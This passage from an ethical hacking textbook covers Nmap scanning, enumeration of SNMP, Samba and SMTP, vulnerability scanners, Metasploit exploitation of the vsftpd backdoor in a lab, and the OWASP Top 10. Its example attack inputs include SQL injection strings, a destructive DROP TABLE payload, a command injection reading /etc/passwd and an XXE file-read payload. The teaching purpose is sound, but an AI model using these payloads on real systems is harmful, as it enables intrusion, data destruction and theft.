- Misconfigured (e.g., open directories, default passwords)
- Linked to sensitive functions (login portals, admin interfaces, data stores)
By combining passive stealth with active precision, you build a target profile that’s both comprehensive and actionable. This disciplined approach—starting broad and quiet, then narrowing and direct—mirrors how real attackers operate, but with permission, accountability, and the goal of defense.
In the next phase, you’ll take this data and probe for weaknesses using vulnerability scanners and manual testing. But remember: the quality of your exploitation depends entirely on the quality of your reconnaissance. If you miss a subdomain or misidentify a service, you’ll test the wrong thing—or worse, miss a real risk. Treat this phase not as a checklist, but as the foundation of responsible, effective security testing.
Network Scanning and Enumeration
Building on your reconnaissance foundation, you now move into active probing to discover live hosts, open ports, and service details. This phase transforms passive findings into a detailed network map. You will use Nmap with specific scan types tailored to your goals, then apply enumeration tools to extract usernames, shares, and system information from discovered services. Each technique serves a purpose: stealth for avoiding detection, UDP for finding often-overlooked services, and version scanning for precise service identification. Remember that every packet you send must stay within your authorized scope—your ROE defines the boundaries, and crossing them, even in a lab, undermines the ethical framework.
Choosing the Right Nmap Scan Type
Nmap offers various scan types, each suited to different objectives. The SYN stealth scan (-sS) is your default for TCP port discovery because it completes only half of the TCP handshake, making it less likely to be logged by target systems. It is fast, reliable, and works against most TCP services. Use it when you need a quick, accurate picture of open TCP ports without overwhelming the target or filling logs.
For example, to scan the top 1000 TCP ports on Metasploitable2 (192.168.56.20) stealthily: ``bash nmap -sS 192.168.56.20 `` This returns open ports like 21, 22, 23, 25, 80, 139, 445, 3306, and 8080—matching the results from the previous section’s default scan but with reduced network noise.
When you need to check UDP services—such as DNS (port 53), SNMP (161/162), or DHCP (67/68)—use a UDP scan (-sU). UDP is connectionless, so responses are unreliable; many ports may appear open or filtered due to lack of reply. To improve accuracy, scan only known UDP ports rather than all 65535: ``bash nmap -sU -p 53,161,162 192.168.56.20 `` On Metasploitable2, this might show port 161 (SNMP) as open, confirming a service worth enumerating further.
Version detection (-sV) is essential for identifying not just that a port is open, but what service and version runs on it. This turns a port list into actionable intelligence. Combine it with your SYN scan for efficiency: ``bash nmap -sS -sV 192.168.56.20 `` On Metasploitable2, this yields:
- Port 21:
vsftpd 2.3.4(backdoored) - Port 22:
OpenSSH 4.7p1 - Port 445:
Samba smbd 3.0.20-Debian - Port 3306:
MySQL 5.0.51a - Port 8080:
Apache Tomcat/Coyote JSP engine 1.1
Knowing vsftpd 2.3.4 is present directs you to test for CVE-2011-2523, a backdoor allowing unauthenticated remote code execution. Seeing Samba 3.0.20 prompts checks for known vulnerabilities like CVE-2007-2446. Always pair version detection with your port scan—it is the difference between seeing an open door and knowing what lock is on it.
For comprehensive insight, use aggressive mode (-A), which enables OS detection (-O), version scanning, script scanning (-sC), and traceroute. This is useful for initial scoping but generates more traffic and may trigger IDS alerts. Use it only when your ROE permits broader probing: ``bash nmap -A 192.168.56.20 ` On Metasploitable2, OS detection might return Linux 2.6.X`, and default scripts could reveal anonymous FTP access or SMB signing disabled—both useful for planning next steps.
Enumerating SNMP for System Information
Simple Network Management Protocol (SNMP) often runs on UDP port 161 and can reveal a wealth of system details if configured with weak or default community strings. Attackers—and ethical hackers with permission—use SNMP to gather system uptime, installed software, network shares, running processes, and user accounts. Default communities like public (read-only) and private (read-write) are frequently unchanged, making SNMP a low-hanging fruit for enumeration.
Use snmpcheck to automate SNMP enumeration. First, confirm SNMP is open with Nmap: ``bash nmap -sU -p 161 192.168.56.20 ` If port 161 is open, run snmpcheck targeting the host with the default public community: `bash snmpcheck -t 192.168.56.20 -c public `` On a vulnerable system, this might return:
- System:
Linux metasploitable 2.6.24-16-server #1 SMP - Users:
root, daemon, bin, sys, sync, games, man, lp, mail, news, uucp, proxy, www-data, backup, list, irc, gnats, nobody - Shares:
/tmp, /var/tmp, /home, /opt, /usr, /var, /root - Processes:
/usr/sbin/sshd, /usr/sbin/vsftpd, /usr/sbin/apache2
This output tells you the system is likely Ubuntu-based, lists potential usernames for brute-force or password-spraying attacks, and reveals accessible directories. If you find a writable share like /tmp, you might later attempt to upload a payload for exploitation—always within ROE.
If public fails, try private or common variants like manager, secret, or community. Some tools, like onesixtyone, can brute-force community strings, but only do so if your ROE explicitly allows credential guessing. SNMP enumeration is powerful because it requires minimal interaction—often just a single UDP packet—and can bypass authentication mechanisms entirely if defaults are present.
Extracting Windows Details with NBTScan
NetBIOS over TCP/IP (NBTS) on ports 139 and 445 enables file and printer sharing in Windows environments. Even on Linux systems like Metasploitable2, Samba provides NBTS compatibility, allowing tools like nbtscan to enumerate usernames, groups, and shares. This is invaluable for mapping trust relationships, identifying administrative accounts, and locating sensitive file shares.
First, confirm NetBIOS services are reachable: ``bash nmap -sS -p 139,445 192.168.56.20 ` If ports 139 and/or 445 are open, run nbtscan: `bash nbtscan 192.168.56.20 ` On Metasploitable2, this typically returns: `` IP address NetBIOS Name System User MAC Address
192.168.56.20 METASPLOITABLE <workstation> METASPLOITABLE 00:0c:29:xx:xx:xx `` While this basic output shows the NetBIOS name and workgroup (WORKGROUP), you can dig deeper with enum4linux, a more comprehensive tool for Samba enumeration: `bash enum4linux -a 192.168.56.20 ` The -a` flag runs all basic enumeration: user list, group list, shares, password policy, and OS details. Sample output might include:
- Users:
root, daemon, bin, sys, sync, games, man, lp, mail, news, uucp, proxy, www-data, backup, list, irc, gnats, nobody - Groups:
root, daemon, bin, sys, adm, tty, disk, lp, mail, news, uucp, man, proxy, www-data, backup, list, irc, gnats, nopasswdlogin, nogroup - Shares:
print$, tmp, opt, IPC$ - Password policy:
Minimum password length: 5; Password history: None
The IPC$ share is particularly interesting—it allows anonymous named pipe connections, often used for inter-process communication. If you can connect to IPC$ with a null session, you may be able to extract further user and share information via tools like rpcclient. For example: ``bash rpcclient -U "" 192.168.56.20 ` Then, at the prompt: `bash rpcclient$ enumdomusers ` This might list users like root, daemon, bin, sys`—confirming what you saw in SNMP and NBTS scans.
Always verify whether null sessions are allowed. If the target requires authentication, your ROE may permit using discovered or default credentials (e.g., msfadmin:msfadmin on Metasploitable2) to enumerate further—but only if explicitly authorized. Never assume credentials; your ROE must specify whether credentialed testing is permitted.
Discovering Users via SMTP Enumeration
Simple Mail Transfer Protocol (SMTP) on port 25 can be exploited to discover valid email users through the VRFY (verify) and EXPN (expand) commands. While many modern SMTP servers disable these for security, internal or legacy systems—especially in misconfigured environments—may still respond. This technique is useful for gathering targets for phishing or social engineering campaigns, but only when your ROE includes such testing and you have permission to contact those users.
Begin by confirming SMTP is open: ``bash nmap -sS -p 25 192.168.56.20 ` If port 25 is open, interact with the server using telnet or nc (netcat): `bash nc 192.168.56.20 25 ` You should see a banner like: ` 220 metasploitable.localdomain ESMTP Postfix (Ubuntu) ` Then issue commands: ` VRFY root ` If the user exists, you might get: ` 252 2.0.0 root ` Or: ` 250 2.1.5 root ` A 252 means the user exists; 250 often means the same. A 550 5.1.1 means the user does not exist. Similarly, EXPN can reveal members of a mailing list: ` EXPN mail ` If a list mail exists, it might return: ` 250 2.1.5 root, www-data, postmaster ``
On Metasploitable2, testing VRFY for common users like root, www, mail, or postmaster often returns positive results, confirming valid accounts. You can automate this with tools like smtp-user-enum: ``bash smtp-user-enum -M VRFY -U /usr/share/seclists/Usernames/Names/names.txt -t 192.168.56.20 ` This scans a username list and reports which ones are valid via VRFY`. If your ROE allows, you can then use these discovered usernames in password-spraying attacks against SSH, FTP, or web logins—always using minimal, controlled attempts to avoid lockouts or detection.
SMTP enumeration is low-noise and effective when services are exposed and misconfigured. However, many organizations disable VRFY/EXPN by default. If you receive 502 5.5.1 or 500 5.5.1 errors, the commands are disabled—respect that as a security control and do not attempt to bypass it without explicit authorization.
Applying Enumeration in Context
Imagine you are assessing a small office network. Your ROE covers the subnet 10.0.0.0/24. Passive reconnaissance via Shodan and DNS revealed a mail server at mail.example.com (10.0.0.10) and a file server at files.example.com (10.0.0.20). You begin with Nmap SYN scans on both hosts.
On the mail server (10.0.0.10), you find port 25 open. SMTP enumeration via VRFY reveals valid users: j.smith, a.jones, hr.dept. You note these for potential phishing simulations—only if your ROE includes social engineering and you have approval to send test emails.
On the file server (10.0.0.20), ports 139 and 445 are open. nbtscan shows the NetBIOS name FILESERV and workgroup OFFICE. enum4linux lists shares: HR_Docs, Finance, Public, and IPC$. You attempt to list HR_Docs anonymously and succeed—revealing employee reviews and salary spreadsheets. This is a critical finding: a share containing sensitive data accessible without authentication. You report this immediately under your ROE’s communication protocol, recommending access controls and encryption.

Meanwhile, Nmap UDP scan on 10.0.0.20 shows port 161 open. snmpcheck with community public returns system details: Windows Server 2019, uptime 45 days, and a list of local admin accounts including Administrator and svc_backup. You now have a clear picture: outdated SNMP configuration, excessive share permissions, and valid user lists—all actionable for remediation.
This example shows how enumeration turns open ports into risk insights. You did not exploit anything—you gathered information with permission, using minimal, targeted queries. Each technique—SYN scan, UDP scan, SNMPcheck, NBTSscan, SMTP probing—served a specific purpose in building a complete, ethical assessment.
Key Takeaways for Responsible Enumeration
- Match your Nmap scan type to your goal:
-sSfor stealthy TCP discovery,-sUfor UDP services,-sVfor version details,-Afor comprehensive but noisy scoping. - Enumerate SNMP only if port 161/UDP is open; start with default communities like
publicandprivate—never brute-force without ROE approval. - Use
nbtscanandenum4linuxto extract Windows/Samba usernames, groups, and shares; verify null session access before attempting credentialed enumeration. - Probe SMTP with
VRFY/EXPNonly if port 25 is open and your ROE permits user discovery for security testing—never use harvested emails for real phishing without explicit, separate consent. - Document every finding: tool used, command, output, and relevance. This ensures reproducibility, supports reporting, and aligns with the ethical principle of accountability.
Your enumeration phase should feel like turning on a flashlight in a dark room—not to blind, but to see what is already there. You are not breaking in; you are inspecting with permission, noting what you find, and preparing to validate risks responsibly. The next step will use this intelligence to test for known vulnerabilities—but only after you have a clear, accurate, and authorized view of the target.
Understanding Automated Vulnerability Scanners
Automated vulnerability scanners are essential tools in ethical hacking that streamline the identification of known security weaknesses across networks, systems, and applications. These tools rely on regularly updated plugin databases that contain checks for misconfigurations, unpatched software, default credentials, and known exploits. By automating the detection process, you can efficiently cover large attack surfaces and focus your manual efforts on validation and remediation planning.
When you run a scan, the tool probes target systems using a variety of techniques—such as port scanning, service identification, and protocol-specific tests—to gather information. It then compares this data against its vulnerability knowledge base to identify matches. Each finding is assigned a severity rating, typically based on the Common Vulnerability Scoring System (CVSS), which helps you prioritize which issues pose the greatest risk.
For example, during an assessment of a small business network, you might deploy Nessus to scan a subnet containing file servers, workstations, and a web application. The scan returns dozens of findings, ranging from critical remote code execution vulnerabilities to low-severity informational notes about SSL/TLS configurations. By reviewing the CVSS scores and associated descriptions, you can quickly identify that an unpatched SMB service on a domain controller is exploitable via EternalBlue (CVSS 9.8), while a missing security header on an internal wiki poses minimal immediate risk.
Running and Configuring Nessus and OpenVAS
Nessus and OpenVAS are two of the most widely used vulnerability scanners in both professional and educational environments. Nessus, developed by Tenable, offers a user-friendly interface and extensive plugin coverage, while OpenVAS (part of the Greenbone Vulnerability Management suite) is open-source and highly customizable. Both scanners operate on a similar principle: they use a plugin-based architecture where each plugin contains a specific test for a known vulnerability or misconfiguration.
To begin a scan with Nessus, you first create a scan policy that defines the scope and intensity of the assessment. You specify target IP addresses or ranges, select scan templates (such as "Basic Network Scan" or "Web Application Tests"), and adjust settings like port range, timing, and safe checks. Safe checks ensure that the scanner avoids intrusive actions that could disrupt services—such as attempting exploitation or sending malformed packets—unless explicitly authorized.
For instance, when assessing a development server running an outdated Apache Tomcat instance, you configure a Nessus scan with the "Comprehensive Scan" template, enable service discovery, and limit the scan to ports 8080 and 8443. After launching the scan, Nessus identifies that the server is running Tomcat 8.0.32, which is affected by CVE-2017-5647—a remote code execution vulnerability in the JMX component. The plugin output includes a detailed description, CVSS score of 9.8, and a clear remediation step: upgrade to Tomcat 8.0.53 or later.
OpenVAS follows a comparable workflow but requires more manual setup, particularly if you are using the command-line interface or managing feed updates. You start by ensuring the Greenbone Security Assistant (GSA) is running and the NVT (Network Vulnerability Tests) feed is up to date. Then, you create a target, define a scan configuration (such as "Full and fast"), and launch the task. The results appear in the web interface, where you can filter by severity, host, or NVT family.
In a lab environment using Metasploitable2, an OpenVAS scan might reveal that the vsftpd service is running version 2.3.4, which contains a backdoor (CVE-2011-2523) allowing unauthorized remote access. The scanner flags this as a critical finding, provides a reference to the exploit, and recommends upgrading to a patched version or replacing the service entirely. Because OpenVAS is open-source, you can also inspect the underlying NVT to understand exactly how the check is performed—such as whether it attempts login with known backdoor credentials or checks a version string.
Specialized Scanning with Nikto for Web Applications
While Nessus and OpenVAS provide broad network and system coverage, Nikto is a specialized tool designed exclusively for web server scanning. It focuses on identifying outdated software, dangerous files or directories, misconfigurations, and insecure server versions that could lead to information disclosure or compromise. Nikto does not rely on a traditional vulnerability database like CVEs; instead, it uses a comprehensive set of heuristics and known bad patterns to detect issues.
When you run Nikto against a target web server, it sends a series of HTTP requests to check for common weaknesses. These include probing for default installation files (such as phpinfo() scripts or server status pages), identifying installed components via version strings in headers, and checking for known vulnerable versions of web applications like WordPress, Joomla, or Drupal. Nikto also tests for HTTP methods that may pose risks (such as PUT or DELETE), checks for missing security headers, and looks for signs of server misconfiguration.
For example, during a security assessment of a company’s internal wiki running on an older Apache server, you execute Nikto with the command: ``bash nikto -h http://wiki.example.com ` The tool returns several findings: it detects that the server exposes the X-Powered-By: PHP/5.4.16 header, which reveals an outdated and unsupported PHP version. It also finds that the /phpmyadmin/` directory is accessible, potentially exposing a database management interface to unauthorized users. Additionally, Nikto flags that the server allows HTTP TRACE method, which could enable cross-site tracing (XST) attacks in certain browser environments.
Each finding includes a description, a reference identifier (such as an OSVDB ID), and a recommended action. In this case, you would recommend removing or restricting access to phpMyAdmin, upgrading PHP to a supported version, and disabling unnecessary HTTP methods via server configuration. While Nikto does not exploit vulnerabilities, its output gives you a clear starting point for manual validation—such as attempting to access phpMyAdmin with default credentials or testing whether TRACE is truly enabled and exploitable.
Interpreting Results and Managing False Positives
One of the most important skills in vulnerability assessment is learning how to interpret scan results critically. Automated scanners are powerful, but they are not infallible. They can produce false positives—alerts that suggest a vulnerability exists when, in fact, it does not—due to factors like custom application behavior, non-standard banners, or compensatory controls that the scanner does not account for. Conversely, false negatives (missed vulnerabilities) can occur if the scanner lacks an updated plugin or if the target uses encryption or obfuscation that hides the true state.
To manage this, you must treat every scan result as a hypothesis requiring verification. Start by reviewing the plugin output: note the exact test performed, the evidence gathered, and the confidence level indicated by the tool. Then, manually validate the finding using complementary techniques. For network-based issues, this might involve attempting a controlled exploit in a lab, checking version numbers via banner grabbing, or reviewing configuration files. For web findings, you could manually request the flagged URL, inspect server responses, or test for exploitability using tools like curl or Burp Suite.
Consider a scenario where an OpenVAS scan flags a Windows workstation as vulnerable to MS08-067 (a critical SMB flaw) based on SMB version detection. However, upon manual inspection using nmap -sV -p 445 <target> and checking the system’s patch level via WMIC, you discover that the machine has actually installed the MS08-067 update. The scanner produced a false positive because it relied solely on SMB version string matching, which did not reflect the applied patch. In this case, you would downgrade the severity, document the verification steps, and note that patch management is effective—turning a potential alarm into a validation of good practice.
Another common source of false positives is Nikto’s detection of "outdated" software based on version strings in headers. Suppose Nikto reports that a server is running an old version of Nginx with known vulnerabilities. You verify by checking the actual Nginx version via curl -I and find it is 1.20.1—current and secure. Further investigation reveals that the server is behind a load balancer or WAF that inserts a false or outdated Server header for obfuscation purposes. Here, the finding is not a vulnerability but a side effect of infrastructure design, and you would adjust your interpretation accordingly.
To minimize wasted effort, establish a workflow for triage: categorize findings as confirmed, likely, needs verification, or false positive. Use a simple table to track each item during analysis:
| Finding | Tool | Severity | Evidence | Status | Notes |
|---|---|---|---|---|---|
| SMB MS08-067 vulnerability | OpenVAS | Critical | SMB v1 detected, no NLA | False Positive | Patch KB958644 confirmed via WMIC |
| /phpmyadmin/ accessible | Nikto | Medium | HTTP 200 on /phpmyadmin/ | Confirmed | Login page exposed; recommend IP restriction |
| Missing HSTS header | Nessus | Low | No Strict-Transport-Security in response | Confirmed | Add header via Apache/Nginx config |
| Open SSH with weak MAC | Nessus | Medium | SSH supports hmac-md5 | Needs Verification | Check if legacy clients require it; plan disable |
This approach ensures that your remediation efforts are focused on real risks. It also strengthens your reporting by showing due diligence—you are not simply regurgitating scanner output but interpreting it in context. Remember, the goal of automated scanning is not to generate a long list of issues, but to provide actionable intelligence that supports timely and effective security improvements.
By combining automated scanning with manual verification, you build a reliable foundation for vulnerability management. You learn to trust the tools—not blindly, but as intelligent assistants that extend your reach and consistency. In the next phase, you will use this validated intelligence to attempt controlled exploitation, confirming whether a identified weakness can actually be leveraged to gain unauthorized access or execute arbitrary code—always within the bounds of your Rules of Engagement and ethical guidelines.
Exploitation Fundamentals
Exploitation is the phase where you move from identifying a potential weakness to verifying whether it can be actively leveraged to gain unauthorized access or execute arbitrary code. This step is critical because it transforms theoretical risk into demonstrable impact, allowing you to prioritize remediation based on real-world exploitability rather than scanner severity alone. Ethical exploitation requires strict adherence to your Rules of Engagement: you use only the minimum necessary effort to confirm a finding, avoid causing disruption or data loss, and document every action for transparency.
The Metasploit Framework is the most widely used tool for controlled exploitation in ethical hacking. It provides a modular architecture consisting of hundreds of exploit modules, payloads, encoders, and post-exploitation tools. Each exploit targets a specific vulnerability—such as a buffer overflow in a service or a misconfiguration in a web application—and delivers a payload that establishes a session on the target system. Payloads range from simple command execution to interactive shells (like Meterpreter) that enable advanced post-exploitation activities. Metasploit’s strength lies in its consistency: once you learn its interface, you can reliably test exploits across diverse targets while minimizing the chance of unintended harm through built-in safety checks and detailed logging.
Consider a common lab scenario using Metasploitable2, which runs a vulnerable vsftpd service version 2.3.4. This version contains a backdoor (CVE-2011-2523) that allows remote command execution when a username ending in ":)" is supplied. To exploit this, you would first confirm the service is running via Nmap: nmap -sV -p 21 <target>. Once verified, launch Metasploit (msfconsole), search for the exploit (search vsftpd), select the appropriate module (use exploit/unix/ftp/vsftpd_234_backdoor), set the target host (set RHOST <target>), and run the exploit (exploit). If successful, Metasploit delivers a payload—typically a command shell—and you gain access to the target system as the user running the vsftpd daemon (often root in lab environments). This confirmation proves the vulnerability is not just theoretical; it can be leveraged for full system compromise if left unpatched in a real environment.
After gaining initial access, ethical hackers often proceed to post-exploitation to understand the full attack chain. This does not mean escalating privileges or persisting without purpose; rather, it demonstrates how an attacker might move laterally, maintain access, or exfiltrate data—always within the bounds of your ROE. For example, with a Meterpreter session, you might run getuid to confirm your current privilege level, then getsystem to attempt privilege escalation to SYSTEM or root. You could also enumerate installed applications, check for unquoted service paths, or review scheduled tasks—common vectors for privilege escalation on Windows targets. Each step should be documented, and no changes should be made to the target beyond what is necessary to demonstrate risk. If your ROE permits, you might create a temporary test file to verify write access, then immediately remove it. The goal is to show how a single vulnerability can lead to broader compromise, not to linger or cause harm.
It’s equally important to recognize when exploitation fails—and why. A scan might flag a target as vulnerable to EternalBlue (MS17-010), but your Metasploit exploit attempt returns “Exploit failed: The target appears to be patched.” This outcome is valuable: it confirms that patch management is working. Similarly, if an exploit requires a specific architecture (e.g., x86 vs. x64) and you deliver the wrong payload, the session will not establish. These failures teach you to verify assumptions—such as service version, patch level, and system architecture—before launching an exploit. Always cross-check Nmap version scan results (-sV) with Metasploit’s check option when available, which tests exploitability without delivering a payload.
Try This
This week, set up a controlled lab using Metasploitable2 and your preferred virtualization software (e.g., VirtualBox or VMware). Follow these steps to practice exploitation fundamentals:
- Use Nmap to identify open ports and service versions on the Metasploitable2 VM, focusing on port 21 (FTP), 445 (SMB), and 80 (HTTP).
- Launch Metasploit, search for an exploit matching one of the discovered services (e.g.,
vsftpd_234_backdoorfor FTP oreternalbluefor SMB), and run thecheckcommand if available to verify exploitability. - If the check passes, execute the exploit with a safe payload (e.g.,
cmd/unix/interact), verify session establishment, and run basic post-exploitation commands likewhoamiandgetuidto confirm access levels—then immediately terminate the session and document your findings.
Key Takeaways
- Exploitation confirms whether a identified vulnerability poses real-world risk by demonstrating actual access or code execution under controlled conditions.
- The Metasploit Framework streamlines exploitation through standardized modules, payloads, and post-exploitation tools, enabling consistent and repeatable testing.
- Post-exploitation activities should focus on understanding attack chains—such as privilege escalation or lateral movement—without causing harm or exceeding your Rules of Engagement.
- Always verify exploitability using auxiliary checks (like Metasploit’s
checkoption) and correlate results with manual validation (e.g., banner grabbing, patch level review) to avoid false confidence. - Ethical exploitation requires restraint: use minimal necessary effort, avoid persistence or data modification unless authorized, and document all actions for accountability and learning.
Once you have established a session through exploitation, the next logical step is to gather additional intelligence from within the target environment—a process often referred to as internal reconnaissance. This phase helps you understand the compromised system’s role in the network, identify potential pivot points, and assess what data or services might be accessible. Unlike external reconnaissance, which relies on public sources and network scanning, internal reconnaissance uses the existing session to query the target directly, revealing details that may not be visible from outside.
For example, after gaining a Meterpreter session on a exploited Linux target via the vsftpd backdoor, you might run ifconfig to discover network interfaces and identify other subnets the host is connected to. You could then use arp -a to view the ARP table and uncover nearby systems, or examine /etc/passwd and /etc/group to understand user privileges and group memberships. On a Windows target, equivalent commands like ipconfig, net view, and net localgroup administrators serve the same purpose. These actions are not inherently harmful; they mirror what an attacker would do to map the internal landscape and plan next steps. However, as an ethical hacker, you perform them only to validate the extent of access and to provide actionable insights—such as identifying a domain controller or a database server that should be segmented.
This internal view often reveals risks that external scans miss. A host might appear isolated during initial scanning, but internal reconnaissance could show it has trusted access to a critical server via SSH keys or shared credentials. Alternatively, you might find that a low-privilege user account you compromised belongs to a group with sudo rights or can access a sensitive directory containing configuration files with hardcoded passwords. Discovering such conditions allows you to recommend specific hardening measures: disabling SSH agent forwarding, enforcing least-privilege group membership, or removing embedded credentials from scripts.
It is also important to recognize the limits of what you can safely demonstrate. While tools like Meterpreter allow you to capture screenshots, log keystrokes, or extract password hashes, these actions should only be taken if explicitly permitted in your Rules of Engagement—and even then, only with synthetic or test data. For instance, if your ROE allows credential dumping for demonstration purposes, you might use hashdump to extract LM and NTLM hashes from the SAM database, then immediately discard them after showing how weak passwords can be cracked offline. The goal is not to retain real credentials but to illustrate the risk of poor password policies or insecure storage practices.
Throughout this process, maintain a clear boundary between validation and violation. Every action should serve the purpose of confirming whether a vulnerability can lead to meaningful compromise under real-world conditions—and nothing more. If you find evidence of lateral movement potential, document it and recommend network segmentation. If you discover excessive permissions, note them and advise on privilege reduction. Never alter configurations, create persistent backdoors, or exfiltrate real data unless explicitly authorized and scoped in writing—and even then, only with non-sensitive, test-only information.
By combining exploitation with disciplined internal reconnaissance and strict adherence to ethical boundaries, you transform a technical success into a meaningful security contribution. You do not just show that a flaw exists; you help the organization understand how it could be chained with other weaknesses to amplify risk—and, more importantly, how to break that chain before an attacker can.

Chapter 3
Web Application Security and Social Engineering
OWASP Top 10 Vulnerabilities Overview
You face a login page for an online banking portal. After three failed attempts, the account locks—but what if an attacker could bypass that lock by injecting a single line of code into the username field? This is the reality of web application vulnerabilities, where a single oversight in input validation can compromise entire systems. As you move from network scanning to application-layer testing, understanding these flaws becomes essential for ethical hackers tasked with defending modern digital services.
Understanding the OWASP Top 10
The OWASP Top 10 represents a consensus-driven list of the most critical web application security risks, updated periodically based on real-world exploit data and community input. It serves as both a benchmark for developers and a roadmap for ethical hackers conducting assessments. Each item reflects a common weakness that attackers frequently exploit to gain unauthorized access, steal data, or disrupt services.
For ethical hackers, the Top 10 provides a structured approach to testing. Rather than guessing where to look, you can systematically evaluate applications against known risk categories. This increases efficiency and ensures coverage of high-impact flaws. For example, during an assessment of a healthcare patient portal, Alex Rivera used the OWASP Top 10 as a checklist and identified an XXE vulnerability in a file upload feature that could have exposed medical records—something that might have been missed in an ad-hoc test.
The list is not exhaustive, but it captures systemic risks that apply across industries. Whether you're testing a retail e-commerce site or an internal HR system, these vulnerabilities recur because they stem from recurring development patterns: trusting user input, misconfiguring servers, or failing to enforce access controls.
Injection Flaws: When Input Becomes Command
Injection occurs when untrusted data is sent to an interpreter as part of a command or query, tricking the system into executing unintended actions. The most prevalent form is SQL injection (SQLi), where attackers manipulate input fields to alter database queries. For instance, entering ' OR '1'='1 into a login form might bypass authentication by making the query always return true.
Consider a product search feature on an e-commerce site. If the backend constructs a query like SELECT * FROM products WHERE name = '$user_input' without sanitization, an attacker could input '; DROP TABLE users; --. This would terminate the original query, delete the users table, and comment out the rest of the statement—potentially causing irreversible data loss.
Beyond SQLi, injection can target other interpreters: OS commands (command injection), LDAP, XPath, or even NoSQL databases. In a case studied by Samir Hassan, a logistics company’s tracking portal was vulnerable to command injection via a poorly validated tracking number field. By submitting 12345; cat /etc/passwd, an attacker retrieved the system’s password file, paving the way for further compromise.
To test for injection, ethical hackers use both manual techniques and tools like Burp Suite Intruder or sqlmap. You begin by identifying input points—search boxes, form fields, URL parameters—and inject payloads designed to trigger errors or extract data. A simple single quote (') often reveals SQLi if it returns a database error. From there, you refine payloads to enumerate tables, extract data, or, in controlled environments, demonstrate impact safely.
The impact of injection ranges from data theft to full system compromise. Because it often requires minimal skill to exploit and can yield high rewards, it remains a top priority in web application testing.
Broken Authentication and Session Management
Authentication mechanisms verify identity; session management maintains that state after login. When either is flawed, attackers can impersonate users, steal sessions, or bypass login controls entirely. Common flaws include weak password policies, exposed credentials in URLs, predictable session tokens, and missing logout invalidation.
Imagine a webmail service that generates session tokens using a simple incrementing counter. If your token is sess_1001, an attacker can guess sess_1000 or sess_1002 and hijack another user’s session—reading emails, sending messages, or changing settings. This is session prediction, a direct result of poor randomness in token generation.
Credential stuffing is another widespread tactic. Attackers use username-password pairs leaked from other breaches to automate login attempts across sites. If the target lacks rate limiting or CAPTCHA protections, even a low success rate can yield hundreds of compromised accounts. In one incident, a streaming service suffered account takeover attacks because it allowed unlimited login attempts and did not enforce multi-factor authentication (MFA).
Ethical hackers test for broken authentication by:
- Enumerating valid usernames via error messages (e.g., “Invalid password” vs. “User not found”)
- Attempting brute force or credential stuffing with tools like Hydra or Burp Intruder
- Checking for session tokens in URLs or logs
- Testing whether old sessions remain valid after password change
- Evaluating password reset mechanisms for token leakage or predictability
For example, during a test of a university portal, Alex found that password reset tokens were valid for 7 days and included in reset URLs sent via email. If an attacker gained access to a user’s email (via phishing or mail server misconfiguration), they could reset the password and take over the account—highlighting how chaining vulnerabilities increases risk.
Defenses include enforcing strong password requirements, implementing MFA, using cryptographically secure session tokens, limiting login attempts, and ensuring sessions expire on logout or after inactivity.
Sensitive Data Exposure and Cryptographic Failures
Sensitive data exposure occurs when applications fail to protect information such as passwords, credit card numbers, health records, or personal identifiers. This can happen due to weak encryption, missing encryption, improper key management, or transmission over unsecured channels.
A classic example is an API that returns credit card details in plaintext JSON responses. Even if the login page uses HTTPS, if subsequent API calls leak card numbers, attackers can intercept them via man-in-the-middle attacks on public Wi-Fi or compromised routers. Similarly, storing passwords using weak hashes like MD5 or SHA-1—without salt—allows attackers to reverse them quickly using rainbow tables or GPU cracking.
In a case handled by Samir Hassan, a misconfigured Amazon S3 bucket exposed thousands of customer invoices containing addresses and payment details. The bucket was set to public read access, likely due to an administrative oversight. Though not a direct application flaw, it reflects how cloud misconfigurations contribute to data exposure—a risk increasingly tied to web applications that rely on cloud storage.

Ethical hackers test for sensitive data exposure by:
- Monitoring network traffic for unencrypted transmissions (using tools like Wireshark or Burp Suite)
- Checking HTTP responses for cached sensitive data or autocomplete fields
- Reviewing source code for hardcoded keys or tokens
- Testing whether data at rest is encrypted (e.g., in databases or file uploads)
- Validating the use of strong, up-to-date cryptographic algorithms (e.g., AES-256, TLS 1.2+)
One effective test involves submitting a form with a fake credit card number and observing whether it appears in plaintext in network traffic or server logs. If so, the application fails to protect data in transit or at rest.
Mitigations include enforcing HTTPS everywhere, encrypting sensitive data at rest, using strong, salted hashes for passwords (like bcrypt or Argon2), avoiding legacy protocols, and applying the principle of least privilege to data access.
XML External Entities (XXE): A Legacy Risk with Modern Impact
XXE exploits occur when an application parses XML input containing external entity references that resolve to local files or internal services. Though less common today due to safer XML parsers, XXE remains a critical risk in legacy systems or services that still process XML—such as SOAP APIs, document uploaders, or configuration importers.
Consider a job application portal that accepts resumes in XML format. If the parser is misconfigured, an attacker could upload a file like: ``xml <!DOCTYPE root [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <root>&xxe;</root> ` When parsed, the &xxe; entity is replaced with the contents of /etc/passwd`, exposing system user information. This is file disclosure. In more advanced cases, XXE can lead to server-side request forgery (SSRF)—where the application makes internal requests—or even remote code execution (RCE) if combined with other weaknesses.
Samir Hassan once assessed a corporate document management system that allowed XML-based invoice uploads. By crafting an XXE payload that triggered an HTTP request to an internal metadata service, he retrieved temporary cloud credentials—demonstrating how XXE can chain into broader cloud breaches.
Testing for XXE involves submitting XML payloads with external entities and monitoring for:
- Error messages that leak file contents
- Outbound connections to internal or external servers (detected via Burp Collaborator or similar)
- Changes in application behavior based on whether the entity resolves
Defenses include disabling external entity resolution in XML parsers, using simpler data formats like JSON when possible, validating and sanitizing XML input, and employing whitelists for allowed elements and attributes.
Applying the Framework in Practice
As you begin testing web applications, treat the OWASP Top 10 not as a checklist to rush through, but as a lens to understand how flaws emerge from design and implementation choices. Start by mapping the application’s attack surface: identify entry points (forms, APIs, file uploads), understand data flows, and note where trust boundaries exist—such as between the client and server, or between application components.
Use a combination of automated scanners (like OWASP ZAP or Nikto) for initial reconnaissance and manual testing for validation and depth. Automated tools can flag potential issues, but they often produce false positives or miss logic flaws. Your role is to verify findings, assess exploitability, and demonstrate impact in a way that informs remediation.
Always operate within your Rules of Engagement. Confirm scope, avoid destructive testing without authorization, and handle any sensitive data you encounter according to data handling protocols. When you find a vulnerability, document it clearly: describe the flaw, provide steps to reproduce, show proof-of-concept (if safe), and assess risk using a framework like CVSS.
Remember that vulnerabilities rarely exist in isolation. An injection flaw might lead to authentication bypass, which could expose sensitive data—turning a medium-risk issue into a critical breach. Ethical hacking requires you to see these chains and communicate them effectively to developers and stakeholders.
